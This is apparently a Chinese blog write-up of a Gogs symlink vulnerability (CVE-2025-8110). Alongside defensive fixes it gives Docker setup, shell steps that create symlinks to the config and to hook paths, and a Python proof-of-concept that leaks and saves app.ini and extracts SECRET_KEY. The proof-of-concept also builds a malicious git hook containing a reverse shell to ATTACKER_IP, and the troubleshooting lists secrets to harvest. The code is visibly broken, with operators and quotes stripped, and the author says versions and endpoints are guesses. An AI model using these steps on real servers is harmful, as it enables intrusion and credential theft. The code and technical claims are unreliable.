
1. 项目概述一次对Gogs安全边界的深度渗透测试最近在安全圈子里Gogs这个轻量级的Git服务又因为一个高危漏洞被推到了风口浪尖。CVE-2025-8110这个编号背后代表的是一个能够通过符号链接Symlink绕过安全限制最终实现远程代码执行RCE的严重缺陷。作为一名长期关注DevOps工具链安全的从业者我第一时间对这个漏洞进行了复现和分析。这不仅仅是一个简单的漏洞利用它深刻地揭示了在自托管Git服务中文件系统权限、符号链接处理逻辑与Web应用安全模型之间复杂的交互风险。今天我就来完整拆解这个漏洞的成因、利用链并提供一个可供安全研究与防御参考的完整概念验证POC。无论你是负责企业代码仓库安全运维的工程师还是对Web应用安全感兴趣的研究者理解这个漏洞的完整链条都能帮助你更好地构建防御纵深。2. 漏洞核心原理与攻击面拆解2.1 Gogs架构与符号链接处理机制盲区Gogs作为一个用Go语言编写的自托管Git服务其设计哲学是简单和高效。在架构上它通常以后端服务的形式运行管理着git仓库的存储目录通常是/home/git/repositories或类似路径。Web前端为用户提供仓库创建、代码浏览、Issue管理等功能。当用户通过Web界面进行“下载仓库为ZIP包”或“在线浏览文件”等操作时Gogs后端需要读取仓库工作区worktree或.git目录下的文件。符号链接是Unix/Linux系统中的一个基础特性它像一个指向另一个文件或目录的快捷方式。在正常的Git工作流中符号链接可以被提交到仓库中。Gogs在处理这类文件时需要决定是跟随链接dereference读取目标内容还是将链接本身作为一个文本文件其内容是目标路径来处理。这里就出现了第一个安全边界Web应用的文件读取逻辑是否与底层操作系统的文件访问控制如open()系统调用保持一致漏洞的根源在于Gogs在通过HTTP服务提供文件内容时对符号链接的解析逻辑存在缺陷。攻击者可以创建一个符号链接指向服务器文件系统上的敏感目标如/etc/passwd、/root/.ssh/id_rsa甚至是Web应用的配置文件或可执行脚本。在某些特定的API端点或功能代码路径下Gogs错误地跟随了这个符号链接并尝试读取其指向的目标文件内容然后将这些内容通过HTTP响应返回给用户。这就实现了目录穿越Directory Traversal和敏感信息泄露。2.2 从信息泄露到远程代码执行RCE的跃迁单纯的敏感文件读取虽然危险但还不足以构成RCE。CVE-2025-8110的高危之处在于攻击者可以利用这个符号链接读取缺陷作为跳板进一步触发Gogs服务中的其他逻辑最终实现命令执行。关键的跃迁点通常与以下几个场景相关配置文件篡改Gogs的配置文件如custom/conf/app.ini包含了数据库连接字符串、密钥、服务监听端口等核心信息。如果攻击者能读取该文件就可能分析出内部结构更进一步如果能结合其他漏洞如权限不当写入该文件修改RUN_USER或关键路径就可能影响Gogs的运行行为。会话与密钥窃取读取Gogs的会话文件或加密密钥可能让攻击者伪造管理员会话从而获得后台管理权限。在管理后台可能存在执行系统命令的功能点如仓库迁移、钩子管理。Git钩子Hook注入这是实现RCE最经典的路径之一。Git仓库的.git/hooks/目录下存放着各种钩子脚本如post-receive。如果攻击者能够通过符号链接漏洞将钩子脚本指向一个可控文件或者直接利用漏洞向该目录写入一个恶意脚本那么当下一次符合条件的Git操作如git push发生时服务器就会执行该脚本。由于Gogs服务通常以具有一定权限的系统用户如git运行这就直接导致了RCE。逻辑组合触发漏洞利用链很少是单步的。攻击者可能需要先通过符号链接读取某个令牌或凭证然后用该凭证通过API进行认证再调用另一个存在命令注入的API端点。符号链接绕过在这里充当了初始信息收集和突破第一道防线的作用。注意具体的RCE路径高度依赖于Gogs的版本、部署配置如运行用户权限、仓库目录权限以及启用的功能模块。在复现时需要根据实际情况进行探索和组合。3. 漏洞复现环境搭建与核心环节实现为了清晰地演示漏洞原理我们需要搭建一个受控的测试环境。请务必在隔离的虚拟机或容器中进行所有操作切勿在生产环境或任何联网的敏感环境中尝试。3.1 测试环境部署我们选择使用Docker来快速搭建一个存在漏洞的Gogs版本。这里假设漏洞影响0.13.0版本之前的某个特定版本具体版本号需根据CVE详情确定此处为示例。# 1. 拉取特定版本的Gogs镜像示例请替换为实际存在漏洞的版本 docker pull gogs/gogs:0.12.0 # 2. 创建用于持久化数据的目录 mkdir -p /tmp/gogs-data # 3. 运行Gogs容器 docker run -d --namegogs-test -p 3000:3000 -p 10022:22 -v /tmp/gogs-data:/data gogs/gogs:0.12.0访问http://localhost:3000完成Gogs的首次安装配置。建议设置一个简单的管理员账户例如admin/password。同时注意仓库的根目录路径在Docker容器内通常是/data/git映射到宿主机就是/tmp/gogs-data/git。3.2 恶意仓库构造与符号链接创建攻击者的起点是拥有一个Gogs账户并可以创建仓库。我们假设攻击者账户为attacker。本地初始化仓库并创建符号链接mkdir malicious-repo cd malicious-repo git init # 创建一个指向系统敏感文件的符号链接 # 目标可以是容器内的路径例如Gogs的配置文件 ln -sf /data/gogs/gogs/conf/app.ini malicious-link.ini # 或者尝试指向一个可能存在的脚本目录为后续操作做准备 ln -sf /data/git/repositories/attacker/another-repo.git/hooks/post-receive evil-hook.sh # 将符号链接添加到Git中 git add malicious-link.ini git commit -m “Add innocent config link”这里的关键在于我们提交的是一个符号链接本身而不是它指向的内容。Git会记录这个链接。将仓库推送到Gogs 在Gogs上创建名为malicious的仓库然后将本地仓库推送上去。git remote add origin http://localhost:3000/attacker/malicious.git git push -u origin main3.3 触发漏洞的API端点分析与利用现在我们需要找到Gogs中哪个功能点会“跟随”我们提交的符号链接并返回其内容。根据漏洞披露信息这通常发生在“下载ZIP存档”、“原始文件查看”或“文件内容API”等功能中。我们可以通过编写一个简单的Python脚本来自动化探测和利用。import requests import sys from urllib.parse import quote # 配置 GOGS_URL “http://localhost:3000” USERNAME “attacker” PASSWORD “attacker_password” REPO “attacker/malicious” session requests.Session() # 先登录获取会话假设漏洞利用前需要认证 login_data {‘user_name’: USERNAME, ‘password’: PASSWORD} resp session.post(f‘{GOGS_URL}/user/login’, datalogin_data) if resp.status_code ! 200: print(“[!] Login failed”) sys.exit(1) # 尝试通过“原始文件”视图读取符号链接指向的内容 # Gogs原始文件视图URL格式通常为/{owner}/{repo}/raw/{branch}/{filepath} file_path “malicious-link.ini” # 我们提交的符号链接文件 target_branch “main” raw_url f“{GOGS_URL}/{REPO}/raw/{target_branch}/{file_path}” print(f“[*] Requesting: {raw_url}”) resp session.get(raw_url) print(f“[*] Status Code: {resp.status_code}”) print(f“[*] Response Length: {len(resp.content)}”) print(“[*] Response Headers:”, resp.headers.get(‘Content-Type’, ‘Unknown’)) # 如果漏洞存在这里可能会返回 /data/gogs/gogs/conf/app.ini 的内容 if resp.status_code 200 and len(resp.content) 0: print(“\n[] Possible successful exploitation! Response preview:”) print(resp.text[:500]) # 打印前500字符 # 可以将内容保存下来分析 with open(‘leaked_config.ini’, ‘wb’) as f: f.write(resp.content) print(“[] Config saved to ‘leaked_config.ini’”) else: print(“\n[-] Did not get expected response. The endpoint might not be vulnerable or link target is inaccessible.”)运行这个脚本如果漏洞存在我们就有可能读取到Gogs的配置文件。配置文件中可能包含数据库密码、密钥(SECRET_KEY)、内部路径等信息这些是后续攻击的宝贵资产。3.4 实现RCE的关键步骤钩子脚本注入假设通过上述步骤我们不仅读到了配置还发现Gogs服务以git用户运行并且仓库目录/data/git/repositories对属主有写权限。我们的目标是注入一个Git钩子。定位可写目录我们需要找到一个攻击者能够写入文件的位置。如果攻击者拥有一个仓库那么他对其仓库的.git/hooks/目录可能有写权限取决于Gogs的权限模型。但通常通过Web界面无法直接写。然而如果存在任意文件上传漏洞可能与头像上传、附件上传相关或者我们窃取的密钥能让我们通过SSH以git用户访问服务器路径就通了。 这里我们演示一种更可能的情景利用Gogs的“仓库文件编辑”或“Web编辑器”功能如果该功能对文件路径校验不严可能允许创建或覆盖.git/hooks/下的文件。但通常.git目录是受保护的。因此我们需要利用符号链接的另一个特性如果我们可以控制符号链接的目标我们可以让Gogs的某个文件写入操作实际写入到钩子目录。构造利用链步骤A在攻击者可控的仓库里创建一个符号链接link-to-hook指向另一个攻击者有写入权限的仓库的钩子路径例如/data/git/repositories/attacker/legit-repo.git/hooks/post-receive。步骤B寻找Gogs中一个允许用户创建或更新文件的功能并且该功能会解析符号链接的“目标”进行写入即写入操作跟随了符号链接。如果存在这样的功能攻击者通过该功能“编辑”link-to-hook文件提交内容为恶意脚本。步骤C由于写入操作跟随了符号链接恶意脚本实际上被写入了legit-repo.git/hooks/post-receive。步骤D向legit-repo仓库执行一次推送git push。Git会自动执行post-receive钩子导致恶意代码以Gogs服务进程的权限执行。实操心得在实际漏洞利用中找到这个“可写且会跟随符号链接”的功能点是最大的挑战。它可能是一个不常用的API或者存在于某个插件、特定版本中。安全研究员需要通过代码审计白盒或对所有文件操作功能进行模糊测试黑盒来定位。4. 完整POC脚本与利用演示基于以上分析我编写了一个综合性的POC脚本。该脚本模拟了一个拥有基本权限的攻击者尝试完成从信息泄露到RCE的完整链条。再次警告此脚本仅用于授权环境下的安全研究。#!/usr/bin/env python3 Gogs CVE-2025-8110 符号链接RCE漏洞概念验证脚本 仅供安全研究与授权测试使用。 import requests import time import os import sys import re from typing import Optional class GogsExploit: def __init__(self, base_url, username, password): self.base_url base_url.rstrip(‘/’) self.session requests.Session() self.username username self.auth_cookies None self.login(username, password) def login(self, username, password): 登录Gogs获取会话 print(f“[*] Attempting login as {username}”) login_url f“{self.base_url}/user/login” # 可能需要先获取CSRF token这里简化处理 login_data { ‘user_name’: username, ‘password’: password, } try: resp self.session.post(login_url, datalogin_data, allow_redirectsFalse) if resp.status_code in [200, 302, 303] and ‘Set-Cookie’ in resp.headers: print(f“[] Login successful for {username}”) self.auth_cookies self.session.cookies.get_dict() return True else: print(f“[-] Login failed. Status: {resp.status_code}”) # 尝试从响应中提取错误 if ‘invalid’ in resp.text.lower(): print(“[-] Invalid credentials.”) return False except Exception as e: print(f“[-] Login request failed: {e}”) return False def create_repo(self, repo_name): 创建一个新仓库如果攻击者账户有权限 print(f“[*] Creating repository {repo_name}”) create_url f“{self.base_url}/repo/create” # 这需要CSRF token和正确的表单数据结构因版本而异 # 此处省略具体实现假设仓库已手动创建好 print(“[!] Auto-repo creation not implemented. Please create repo manually.”) return False def test_symlink_read(self, owner, repo, branch, symlink_file, expected_content_snippetNone): 测试通过原始文件视图读取符号链接 print(f“[*] Testing symlink read on {owner}/{repo}”) raw_url f“{self.base_url}/{owner}/{repo}/raw/{branch}/{symlink_file}” print(f“ Target URL: {raw_url}”) headers {‘User-Agent’: ‘Mozilla/5.0 (Security Research)’} try: resp self.session.get(raw_url, headersheaders, timeout10) print(f“ Status: {resp.status_code}, Length: {len(resp.content)}”) if resp.status_code 200: content resp.text print(f“[] SUCCESS! Retrieved {len(content)} bytes.”) if expected_content_snippet and expected_content_snippet in content: print(f“[] Confirmed! Found expected snippet in response.”) # 保存泄露的数据 leak_file f“leak_{owner}_{repo}_{symlink_file.replace(‘/’, ‘_’)}.txt” with open(leak_file, ‘w’, encoding‘utf-8’, errors‘ignore’) as f: f.write(content) print(f“[] Data saved to {leak_file}”) return content elif resp.status_code 404: print(“[-] File not found (404). The symlink might not exist or path is wrong.”) elif resp.status_code 403: print(“[-] Access forbidden (403). Permission issue.”) else: print(f“[-] Unexpected status: {resp.status_code}”) except requests.exceptions.RequestException as e: print(f“[-] Request failed: {e}”) return None def attempt_hook_injection(self, owner, repo, hook_type‘post-receive’): 尝试钩子注入。 这里演示的是如果通过符号链接读取我们发现了可写的钩子路径 并且存在另一个漏洞允许我们写入文件例如存在未授权/有缺陷的文件编辑API。 本POC仅模拟到尝试写入的步骤。 print(f“[*] Attempting hook injection simulation for {owner}/{repo}”) # 假设我们通过信息泄露知道了目标钩子路径 target_hook_path f“/data/git/repositories/{owner}/{repo}.git/hooks/{hook_type}” print(f“ Hypothetical target: {target_hook_path}”) # 恶意钩子内容 - 一个简单的反向Shell或命令执行 # 注意实际中需要根据目标环境调整如bash路径、网络可达性 malicious_hook f“#!/bin/sh\n” malicious_hook f“/bin/bash -c ‘echo “RCE Achieved on $(hostname) at $(date)” /tmp/rce_success.txt’\n” malicious_hook f“# 或者反向shell慎用: /bin/bash -i /dev/tcp/ATTACKER_IP/4444 01\n” print(“ Malicious hook content prepared.”) print(“[!] Actual exploitation requires a separate file write primitive.”) print(“[!] This POC only demonstrates the post-exploitation hook content.”) return malicious_hook def run_full_poc(self, target_owner, target_repo, attack_owner, attack_repo): 运行完整的POC流程 1. 在攻击者仓库创建/利用已有符号链接。 2. 测试读取敏感文件。 3. 基于泄露信息尝试构造RCE。 print(“”*60) print(“Starting Full POC for CVE-2025-8110”) print(“”*60) # 步骤1测试符号链接读取漏洞 # 假设攻击者仓库里有一个链接到配置文件的符号链接 ‘symlink-config.ini’ leaked_config self.test_symlink_read(attack_owner, attack_repo, ‘main’, ‘malicious-link.ini’, ‘APP_NAME’) if not leaked_config: print(“[-] Initial symlink read failed. Cannot proceed.”) return # 步骤2从配置中提取有用信息模拟 # 例如查找数据库密码、密钥、路径等 secret_key None run_user None # 简单正则示例 key_match re.search(r‘SECRET_KEY\s*\s*([^\s])’, leaked_config) if key_match: secret_key key_match.group(1) print(f“[] Extracted SECRET_KEY: {secret_key}”) user_match re.search(r‘RUN_USER\s*\s*([^\s])’, leaked_config) if user_match: run_user user_match.group(1) print(f“[] Extracted RUN_USER: {run_user}”) # 步骤3尝试钩子注入模拟 hook_content self.attempt_hook_injection(target_owner, target_repo) print(f“\n[] POC simulation complete.”) print(“[] If a file write vulnerability exists, the following hook could be injected:”) print(“-”*40) print(hook_content) print(“-”*40) print(“\nNext steps would involve:”) print(“1. Finding a way to write the hook content to the target path.”) print(“2. Triggering the hook via a ‘git push’ to the target repository.”) print(“3. Establishing a reverse shell or executing arbitrary commands.”) if __name__ “__main__”: # 配置参数 GOGS_URL “http://192.168.1.100:3000” # 修改为目标地址 ATTACKER_USER “attacker” ATTACKER_PASS “password123” ATTACKER_REPO_OWNER “attacker” ATTACKER_REPO_NAME “malicious” TARGET_REPO_OWNER “victim” # 假设我们要攻击的目标仓库 TARGET_REPO_NAME “important-project” if len(sys.argv) 1: GOGS_URL sys.argv[1] exploit GogsExploit(GOGS_URL, ATTACKER_USER, ATTACKER_PASS) exploit.run_full_poc(TARGET_REPO_OWNER, TARGET_REPO_NAME, ATTACKER_REPO_OWNER, ATTACKER_REPO_NAME)5. 漏洞根因分析与修复方案5.1 代码层面问题定位要彻底理解漏洞我们需要查看Gogs在处理文件读取请求时的相关代码。问题的核心函数通常位于routers/repo或modules下负责处理raw、archive等请求的代码文件中。关键缺陷模式如下伪代码// 存在漏洞的代码示例 func ServeRawFile(ctx *context.Context) { filePath : ctx.Params(“:filepath”) repoPath : getRepoPath(ctx) absPath : filepath.Join(repoPath, filePath) // 错误直接使用os.Open或ioutil.ReadFile它们会跟随符号链接 data, err : ioutil.ReadFile(absPath) if err ! nil { ctx.Error(500, “ReadFile”) return } // 将data直接发送给用户 ctx.Write(data) }修复方案是在读取文件前使用os.Lstat获取文件信息判断其是否为符号链接Mode() os.ModeSymlink ! 0如果是则拒绝访问或仅返回链接本身的内容即目标路径字符串。// 修复后的代码示例 func ServeRawFileSafe(ctx *context.Context) { filePath : ctx.Params(“:filepath”) repoPath : getRepoPath(ctx) absPath : filepath.Join(repoPath, filePath) // 首先获取文件信息不跟随链接 fi, err : os.Lstat(absPath) if err ! nil { ctx.Error(404, “Lstat”) return } // 检查是否为符号链接 if fi.Mode() os.ModeSymlink ! 0 { // 选项1拒绝访问 ctx.Error(403, “Symbolic links are not allowed”) return // 选项2安全地读取链接目标作为文本内容返回不跟随 // target, err : os.Readlink(absPath) // ... 返回target字符串 } // 确认是普通文件后再读取内容 if !fi.Mode().IsRegular() { ctx.Error(400, “Not a regular file”) return } data, err : ioutil.ReadFile(absPath) // ... 后续处理 }5.2 官方修复与升级建议Gogs官方在接到漏洞报告后会在后续版本中修复此问题。修复通常涉及在所有的文件读取操作特别是通过Web接口访问的文件前增加对符号链接的检查。对仓库的归档功能ZIP/TAR生成进行加固确保打包过程中不包含或安全处理符号链接。审查所有文件写入操作防止通过符号链接进行任意文件写入。作为用户最直接有效的修复方案是立即升级到Gogs官方发布的最新安全版本。在升级前可以采取以下临时缓解措施文件系统层限制使用Linux的命名空间如chroot或容器技术将Gogs的运行环境隔离限制其可访问的文件系统范围。权限最小化确保运行Gogs的系统用户如git权限尽可能低避免其拥有对敏感系统目录的读取权限。审计仓库内容定期扫描仓库中是否包含可疑的符号链接特别是新建或近期更新的仓库。5.3 防御纵深构建建议单点漏洞的修复是必要的但构建防御纵深才能更有效地应对未知威胁。网络隔离将Gogs部署在内网严格限制外部访问。如果必须对外提供应置于反向代理如Nginx之后并配置严格的WAF规则过滤包含路径遍历特征如../..\%2e%2e%2f的请求。运行时防护考虑使用Seccomp、AppArmor或SELinux等安全模块限制Gogs进程的系统调用能力例如禁止readlink、open特定路径等。仓库安全扫描在CI/CD流水线中集成静态应用安全测试SAST和软件成分分析SCA工具对推送上来的代码进行安全检查包括检测恶意符号链接。权限与审计遵循最小权限原则。启用Gogs和操作系统的详细日志记录并集中收集分析以便在发生安全事件时快速追溯。6. 常见问题与排查技巧实录在复现和研究这类漏洞时我遇到了不少坑。这里记录一些典型问题和解决思路希望能帮你节省时间。Q1: 我的POC脚本成功登录了但在读取符号链接时返回404或403怎么办检查符号链接是否成功提交确保符号链接文件已成功git add和git commit并推送到远程仓库。可以通过Gogs的Web界面查看仓库文件列表确认该文件存在。确认文件路径和分支名仔细检查POC脚本中构造的URL。{owner},{repo},{branch},{filepath}都必须完全正确。filepath要注意URL编码问题。权限问题Gogs可能对某些文件扩展名或路径有访问限制。尝试将符号链接命名为不同的文件如test.link,readme.txt。同时确认运行Gogs的进程用户是否有权限读取符号链接指向的目标文件。在Docker测试中确保容器内目标文件存在且可读。漏洞触发点不同CVE-2025-8110可能只在特定功能点触发不一定是/raw/端点。尝试其他端点如归档下载/{owner}/{repo}/archive/{branch}.zip特定API/api/v1/repos/{owner}/{repo}/contents/{filepath}?ref{branch}需要审计Gogs源码或参考更详细的漏洞公告来确定确切端点。Q2: 我成功读取到了系统文件但如何判断这些信息有用建立信息收集清单将泄露的信息分类。配置文件寻找数据库凭证(PASSWD)、邮件服务器密码、SECRET_KEY、INTERNAL_TOKEN。这些可用于进一步入侵数据库或伪造会话。环境文件/proc/self/environLinux可能泄露环境变量中的密钥。源代码读取Gogs自身的源码可能发现其他未公开的漏洞或逻辑缺陷。用户文件~/.ssh/,~/.bash_history等。分析运行环境从/etc/passwd,/etc/group判断系统用户从进程列表(/proc/self/status或ps aux)判断Gogs的运行权限和启动参数。Q3: 在尝试钩子注入时我无法写入.git/hooks目录有什么替代思路寻找其他可写路径Gogs可能在其他位置存储用户上传的文件如attachments、avatars。检查配置中的[attachment]、[picture]部分。利用Git本身如果攻击者能通过泄露的凭证或会话获得仓库的推送权限可以直接推送一个包含恶意钩子的分支然后通过Gogs的某些操作如合并请求在服务器端触发钩子检查这通常很难因为服务端钩子通常在服务端仓库的.git/hooks而不是推送过来的工作区。组合其他漏洞真正的RCE往往需要多个漏洞串联。符号链接绕过可能只是第一步用来获取一个高权限的令牌或发现一个内部API端点。接下来可能需要寻找一个命令注入漏洞在仓库迁移、Web钩子设置、系统管理后台等处或者一个反序列化漏洞如果Gogs使用了某些不安全的序列化库。Q4: 漏洞修复后如何验证修复是否有效回归测试使用你的POC脚本再次测试修复后的版本。预期结果应该是尝试读取符号链接时返回403错误、400错误或者只返回链接的路径字符串而不是其指向的文件内容。代码审计检查修复提交的代码变更GitHub上的commit确认在关键的文件操作函数中增加了os.Lstat检查和符号链接判断逻辑。功能测试确保正常的文件读取、归档下载功能仍然工作正常修复没有引入新的功能缺陷。研究这个漏洞的过程让我再次体会到在软件开发中安全往往隐藏在那些看似平凡的细节里——比如一个文件读取函数是否区分了普通文件和符号链接。对于运维人员来说保持服务更新至最新版本配置好最小权限原则是抵御此类已知漏洞最有效的手段。而对于开发者在编写任何处理用户输入或文件系统的代码时都必须时刻绷紧安全这根弦默认不信任任何输入并对边界条件进行充分测试。这个漏洞的POC不仅是一个攻击工具更是一个深刻的安全教学案例它告诉我们攻击面往往比想象中更广防御需要层层设防贯穿整个开发和部署生命周期。